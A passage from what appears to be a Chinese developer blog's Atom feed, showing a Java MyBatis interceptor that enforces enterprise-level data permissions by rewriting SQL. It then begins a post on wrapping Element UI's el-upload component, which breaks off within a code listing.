class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.hutool.core.collection.CollUtil;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.convert.Convert;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.util.ReflectUtil;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.util.StrUtil;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.toolkit.PluginUtils;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.toolkit.StringPool;</span><br><span class="line"><span class="keyword">import</span> com.lyc.admin.oauth.service.SysUser;</span><br><span class="line"><span class="keyword">import</span> com.lyc.admin.oauth.utils.SecurityUtils;</span><br><span class="line"><span class="keyword">import</span> com.lyc.common.base.exception.HasNotAuthException;</span><br><span class="line"><span class="keyword">import</span> com.lyc.common.base.utils.CurrentEntIdSearchContextHolder;</span><br><span class="line"><span class="keyword">import</span> com.lyc.common.base.vo.EntierVO;</span><br><span class="line"><span class="keyword">import</span> lombok.SneakyThrows;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.JSQLParserException;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Alias;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.LongValue;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.conditional.AndExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.EqualsTo;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.parser.CCJSqlParserManager;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.parser.CCJSqlParserUtil;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Column;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Table;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.PlainSelect;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.Select;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.SelectBody;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.SetOperationList;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.update.Update;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.executor.statement.StatementHandler;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.BoundSql;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.MappedStatement;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.SqlCommandType;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.plugin.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.MetaObject;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.SystemMetaObject;</span><br><span class="line"><span class="keyword">import</span> org.aspectj.lang.annotation.Aspect;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.StringReader;</span><br><span class="line"><span class="keyword">import</span> java.sql.Connection;</span><br><span class="line"><span class="keyword">import</span> java.util.*;</span><br><span class="line"><span class="keyword">import</span> java.util.stream.Collectors;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 DataPermissionInterceptor</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/20 14:50</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Intercepts(&#123;@Signature(type = StatementHandler.class, method = &quot;prepare&quot;, args = &#123;Connection.class, Integer.class&#125;)&#125;)</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UnitDataPermissionInterceptor</span> <span class="keyword">implements</span> <span class="title class_">Interceptor</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">intercept</span><span class="params">(Invocation invocation)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">SysUser</span> <span class="variable">sysUser</span> <span class="operator">=</span> SecurityUtils.getUser();</span><br><span class="line">        <span class="comment">// 如果非权限用户则不往下执行</span></span><br><span class="line">        <span class="keyword">if</span> (sysUser == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">dataScopeParam</span> <span class="operator">=</span> DataScopeParamContentHolder.get();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (dataScopeParam != <span class="literal">null</span>) &#123;</span><br><span class="line">            dataScopeParam.setEntIdList(Optional.ofNullable(sysUser.getTierVos()).orElse(<span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;()).stream().map(EntierVO::getUnitIdList).flatMap(Collection::stream).collect(Collectors.toSet()));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取header中的待过滤的企业列表（前端传的企业列表，比如有多个企业权限指定查其中几个时就在此处和用户权限取交集）</span></span><br><span class="line">        Set&lt;Long&gt; entIdList = CurrentEntIdSearchContextHolder.getEntIdList();</span><br><span class="line">        <span class="keyword">if</span> (entIdList != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (dataScopeParam == <span class="literal">null</span>) &#123;</span><br><span class="line">                dataScopeParam = <span class="keyword">new</span> <span class="title class_">DataScopeParam</span>(<span class="string">&quot;ent_id&quot;</span>, entIdList, <span class="literal">true</span>, CollUtil.newArrayList(<span class="string">&quot;sys_file&quot;</span>));</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="comment">// 查询交集</span></span><br><span class="line">                Set&lt;Long&gt; permissionEntList = dataScopeParam.getEntIdList();</span><br><span class="line">                dataScopeParam.setFilterField(<span class="literal">true</span>);</span><br><span class="line">                dataScopeParam.setEntIdList(entIdList.stream().filter(permissionEntList::contains).collect(Collectors.toSet()));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 没有添加注解则不往下执行</span></span><br><span class="line">        <span class="keyword">if</span> (dataScopeParam == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 注解配置不过滤数据则不往下执行</span></span><br><span class="line">        <span class="keyword">if</span> (!dataScopeParam.isFilterField()) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">StatementHandler</span> <span class="variable">statementHandler</span> <span class="operator">=</span> PluginUtils.realTarget(invocation.getTarget());</span><br><span class="line">        <span class="type">MetaObject</span> <span class="variable">metaObject</span> <span class="operator">=</span> SystemMetaObject.forObject(statementHandler);</span><br><span class="line">        <span class="comment">// 先判断是不是SELECT操作 不是直接过滤</span></span><br><span class="line">        <span class="type">MappedStatement</span> <span class="variable">mappedStatement</span> <span class="operator">=</span> (MappedStatement) metaObject.getValue(<span class="string">&quot;delegate.mappedStatement&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (SqlCommandType.FLUSH.equals(mappedStatement.getSqlCommandType()) || SqlCommandType.UNKNOWN.equals(mappedStatement.getSqlCommandType())) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">BoundSql</span> <span class="variable">boundSql</span> <span class="operator">=</span> (BoundSql) metaObject.getValue(<span class="string">&quot;delegate.boundSql&quot;</span>);</span><br><span class="line">        <span class="comment">// 执行的SQL语句</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">originalSql</span> <span class="operator">=</span> boundSql.getSql();</span><br><span class="line">        <span class="comment">// SQL语句的参数</span></span><br><span class="line">        <span class="type">Object</span> <span class="variable">parameterObject</span> <span class="operator">=</span> boundSql.getParameterObject();</span><br><span class="line">        <span class="comment">// 拦截插入语句</span></span><br><span class="line">        <span class="keyword">if</span> (SqlCommandType.INSERT.equals(mappedStatement.getSqlCommandType())) &#123;</span><br><span class="line">            <span class="comment">// 当为insert时将判断是否具备权限</span></span><br><span class="line">            <span class="keyword">if</span> (parameterObject != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="type">Long</span> <span class="variable">entId</span> <span class="operator">=</span> Convert.toLong(ReflectUtil.getFieldValue(parameterObject, StrUtil.toCamelCase(dataScopeParam.getUnitField())));</span><br><span class="line">                <span class="comment">// 判断entId是否在权限范围内</span></span><br><span class="line">                <span class="keyword">if</span> (entId != <span class="literal">null</span> &amp;&amp; !dataScopeParam.getEntIdList().contains(entId)) &#123;</span><br><span class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">HasNotAuthException</span>();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 拦截更新语句，业务包含逻辑删除所以此处用的update</span></span><br><span class="line">        <span class="keyword">if</span> (SqlCommandType.UPDATE.equals(mappedStatement.getSqlCommandType())) &#123;</span><br><span class="line">            <span class="comment">// 修改updateSql</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">updateSql</span> <span class="operator">=</span> handleUpdateSql(originalSql, dataScopeParam.getEntIdList(), dataScopeParam.getUnitField(), dataScopeParam.getIgnoreTables());</span><br><span class="line">            log.warn(<span class="string">&quot;数据权限处理过后UPDATE的SQL: &#123;&#125;&quot;</span>, updateSql);</span><br><span class="line">            metaObject.setValue(<span class="string">&quot;delegate.boundSql.sql&quot;</span>, updateSql);</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 需要过滤的数据</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">finalSql</span> <span class="operator">=</span> <span class="built_in">this</span>.handleSql(originalSql, dataScopeParam.getEntIdList(), dataScopeParam.getUnitField(), dataScopeParam.getIgnoreTables());</span><br><span class="line">        log.warn(<span class="string">&quot;数据权限处理过后SELECT的SQL: &#123;&#125;&quot;</span>, finalSql);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 装载改写后的sql</span></span><br><span class="line">        metaObject.setValue(<span class="string">&quot;delegate.boundSql.sql&quot;</span>, finalSql);</span><br><span class="line">        <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 修改sql</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> originalSql 原始sql</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> entIdList   需要过滤的企业列表</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> fieldName   当前主表中字段名称</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 修改后的语句</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> JSQLParserException sql修改异常</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">handleSql</span><span class="params">(String originalSql, Set&lt;Long&gt; entIdList, String fieldName, List&lt;String&gt; ignores)</span> <span class="keyword">throws</span> JSQLParserException &#123;</span><br><span class="line">        <span class="type">CCJSqlParserManager</span> <span class="variable">parserManager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CCJSqlParserManager</span>();</span><br><span class="line">        <span class="type">Select</span> <span class="variable">select</span> <span class="operator">=</span> (Select) parserManager.parse(<span class="keyword">new</span> <span class="title class_">StringReader</span>(originalSql));</span><br><span class="line">        <span class="type">SelectBody</span> <span class="variable">selectBody</span> <span class="operator">=</span> select.getSelectBody();</span><br><span class="line">        <span class="keyword">if</span> (selectBody <span class="keyword">instanceof</span> PlainSelect) &#123;</span><br><span class="line">            <span class="built_in">this</span>.setWhere((PlainSelect) selectBody, entIdList, fieldName, ignores);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (selectBody <span class="keyword">instanceof</span> SetOperationList) &#123;</span><br><span class="line">            <span class="type">SetOperationList</span> <span class="variable">setOperationList</span> <span class="operator">=</span> (SetOperationList) selectBody;</span><br><span class="line">            List&lt;SelectBody&gt; selectBodyList = setOperationList.getSelects();</span><br><span class="line">            selectBodyList.forEach(s -&gt; <span class="built_in">this</span>.setWhere((PlainSelect) s, entIdList, fieldName, ignores));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> select.toString();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 修改update语句</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> originalSql 元素sql</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> entIdList   允许查询的企业列表</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> fieldName   表中待过滤查询的列名</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> ignores     忽略的表名</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> JSQLParserException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">handleUpdateSql</span><span class="params">(String originalSql, Set&lt;Long&gt; entIdList, String fieldName, List&lt;String&gt; ignores)</span> <span class="keyword">throws</span> JSQLParserException &#123;</span><br><span class="line">        <span class="type">CCJSqlParserManager</span> <span class="variable">parserManager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CCJSqlParserManager</span>();</span><br><span class="line">        <span class="type">Update</span> <span class="variable">update</span> <span class="operator">=</span> (Update) parserManager.parse(<span class="keyword">new</span> <span class="title class_">StringReader</span>(originalSql));</span><br><span class="line">        <span class="keyword">if</span> (ignores.contains(update.getTable().getName())) &#123;</span><br><span class="line">            <span class="comment">// 当前表名的处于不过滤列表则不进行二次封装处理</span></span><br><span class="line">            <span class="keyword">return</span> originalSql;</span><br><span class="line">        &#125;</span><br><span class="line">        String dataPermissionSql;</span><br><span class="line">        <span class="keyword">if</span> (entIdList.size() == <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="type">EqualsTo</span> <span class="variable">selfEqualsTo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EqualsTo</span>();</span><br><span class="line">            selfEqualsTo.setLeftExpression(<span class="keyword">new</span> <span class="title class_">Column</span>(fieldName));</span><br><span class="line">            selfEqualsTo.setRightExpression(<span class="keyword">new</span> <span class="title class_">LongValue</span>(entIdList.stream().findFirst().orElse(<span class="number">0L</span>)));</span><br><span class="line">            dataPermissionSql = selfEqualsTo.toString();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            dataPermissionSql = fieldName + <span class="string">&quot; in ( &quot;</span> + CollUtil.join(entIdList, StringPool.COMMA) + <span class="string">&quot; )&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        update.setWhere(<span class="keyword">new</span> <span class="title class_">AndExpression</span>(update.getWhere(), CCJSqlParserUtil.parseCondExpression(dataPermissionSql)));</span><br><span class="line">        <span class="keyword">return</span> update.toString();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置 where 条件  --  使用CCJSqlParser将原SQL进行解析并改写</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> plainSelect 查询对象</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@SneakyThrows(Exception.class)</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">setWhere</span><span class="params">(PlainSelect plainSelect, Set&lt;Long&gt; entIdList, String fieldName, List&lt;String&gt; ignores)</span> &#123;</span><br><span class="line">        <span class="type">Table</span> <span class="variable">fromItem</span> <span class="operator">=</span> (Table) plainSelect.getFromItem();</span><br><span class="line">        <span class="comment">// 有别名用别名，无别名用表名，防止字段冲突报错</span></span><br><span class="line">        <span class="type">Alias</span> <span class="variable">fromItemAlias</span> <span class="operator">=</span> fromItem.getAlias();</span><br><span class="line">        <span class="keyword">if</span> (ignores.contains(fromItem.getName())) &#123;</span><br><span class="line">            <span class="comment">// 当前表名的处于不过滤列表则不进行二次封装处理</span></span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">String</span> <span class="variable">mainTableName</span> <span class="operator">=</span> fromItemAlias == <span class="literal">null</span> ? fromItem.getName() : fromItemAlias.getName();</span><br><span class="line">        <span class="comment">// 构建子查询 -- 数据权限过滤SQL</span></span><br><span class="line">        String dataPermissionSql;</span><br><span class="line">        <span class="keyword">if</span> (entIdList.size() == <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="type">EqualsTo</span> <span class="variable">selfEqualsTo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EqualsTo</span>();</span><br><span class="line">            selfEqualsTo.setLeftExpression(<span class="keyword">new</span> <span class="title class_">Column</span>(mainTableName + <span class="string">&quot;.&quot;</span> + fieldName));</span><br><span class="line">            selfEqualsTo.setRightExpression(<span class="keyword">new</span> <span class="title class_">LongValue</span>(entIdList.stream().findFirst().orElse(<span class="number">0L</span>)));</span><br><span class="line">            dataPermissionSql = selfEqualsTo.toString();</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (entIdList.size() &lt; <span class="number">1</span>) &#123;</span><br><span class="line">            dataPermissionSql = mainTableName + <span class="string">&quot;.&quot;</span> + fieldName + <span class="string">&quot; in ( &quot;</span> + StringPool.NULL + <span class="string">&quot; )&quot;</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            dataPermissionSql = mainTableName + <span class="string">&quot;.&quot;</span> + fieldName + <span class="string">&quot; in ( &quot;</span> + CollUtil.join(entIdList, StringPool.COMMA) + <span class="string">&quot; )&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (plainSelect.getWhere() == <span class="literal">null</span>) &#123;</span><br><span class="line">            plainSelect.setWhere(CCJSqlParserUtil.parseCondExpression(dataPermissionSql));</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            plainSelect.setWhere(<span class="keyword">new</span> <span class="title class_">AndExpression</span>(plainSelect.getWhere(), CCJSqlParserUtil.parseCondExpression(dataPermissionSql)));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 生成拦截对象的代理</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> target 目标对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 代理对象</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">plugin</span><span class="params">(Object target)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (target <span class="keyword">instanceof</span> StatementHandler) &#123;</span><br><span class="line">            <span class="keyword">return</span> Plugin.wrap(target, <span class="built_in">this</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> target;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * mybatis配置的属性</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> properties mybatis配置的属性</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setProperties</span><span class="params">(Properties properties)</span> &#123;</span><br><span class="line">        log.info(properties.toString());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="说明">说明</h3><ul><li>该注解可用于类或方法上，当用于类上时则该类中所有方法中涉及到的所有方法将会进行sql增强达到权限过滤的目的</li><li>含有异步处理的方法需要添加<code>@DataScope(filterData = false)</code>用于忽略权限过滤。比如日志异步插入数据库的方法必须添加。</li></ul>]]></content>
    
    
    <summary type="html">上一篇的内容优化升级，实现类上注解，新增、删除、更新时同时进行数据权限判断</summary>
    
    
    
    <category term="framework" scheme="https://blog.allbs.cn/categories/framework/"/>
    
    
    <category term="spring" scheme="https://blog.allbs.cn/tags/spring/"/>
    
    <category term="framework" scheme="https://blog.allbs.cn/tags/framework/"/>
    
    <category term="mybatis plus" scheme="https://blog.allbs.cn/tags/mybatis-plus/"/>
    
    <category term="权限" scheme="https://blog.allbs.cn/tags/%E6%9D%83%E9%99%90/"/>
    
  </entry>
  
  <entry>
    <title>el-upload文件上传封装</title>
    <link href="https://blog.allbs.cn/posts/40496/"/>
    <id>https://blog.allbs.cn/posts/40496/</id>
    <published>2022-10-28T07:28:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<h3 id="使用方式">使用方式</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&lt;upload-img :maxLength=&quot;6&quot;</span><br><span class="line">            limit-type=&quot;.png,.jpg,.jpeg&quot;</span><br><span class="line">                    :filesList=&quot;checkFileList&quot;</span><br><span class="line">                    @addFileList=&quot;checkFileUpdate&quot; @deleteFileList=&quot;checkFileDelete&quot;&gt;&lt;/upload-img&gt;</span><br></pre></td></tr></table></figure><h3 id="可选属性">可选属性</h3><table><thead><tr><th style="text-align:center">属性名称</th><th style="text-align:center">属性说明</th></tr></thead><tbody><tr><td style="text-align:center">show-loading</td><td style="text-align:center">是否展示上传时的loading</td></tr><tr><td style="text-align:center">max-length</td><td style="text-align:center">可上传的最大文件数量</td></tr><tr><td style="text-align:center">files-list</td><td style="text-align:center">回显的图片集合</td></tr><tr><td style="text-align:center">type</td><td style="text-align:center">上传按钮样式类型 0:图片 1:按钮</td></tr><tr><td style="text-align:center">disabled</td><td style="text-align:center">是否禁用上传</td></tr><tr><td style="text-align:center">can-delete</td><td style="text-align:center">是否允许删除文件</td></tr><tr><td style="text-align:center">folder</td><td style="text-align:center">文件在服务器上的文件夹，如minio中基础文件夹的下一级文件夹</td></tr><tr><td style="text-align:center">max-size</td><td style="text-align:center">允许上传的最大文件大小，单位M</td></tr><tr><td style="text-align:center">limit-type</td><td style="text-align:center">所允许上传的文件类型,比如设置limit-type = '.png,.jpg,.jpeg’则限值上传图片类型，为空时允许上传所有类型文件</td></tr></tbody></table><h3 id="回调事件">回调事件</h3><table><thead><tr><th style="text-align:center">事件名称</th><th style="text-align:center">事件说明</th></tr></thead><tbody><tr><td style="text-align:center">deleteFileList</td><td style="text-align:center">删除文件时触发,将删除文件后获取到的文件信息返回</td></tr><tr><td style="text-align:center">addFileList</td><td style="text-align:center">新增文件时触发,将上传文件后获取到的文件信息返回</td></tr></tbody></table><h3 id="组件代码">组件代码</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span 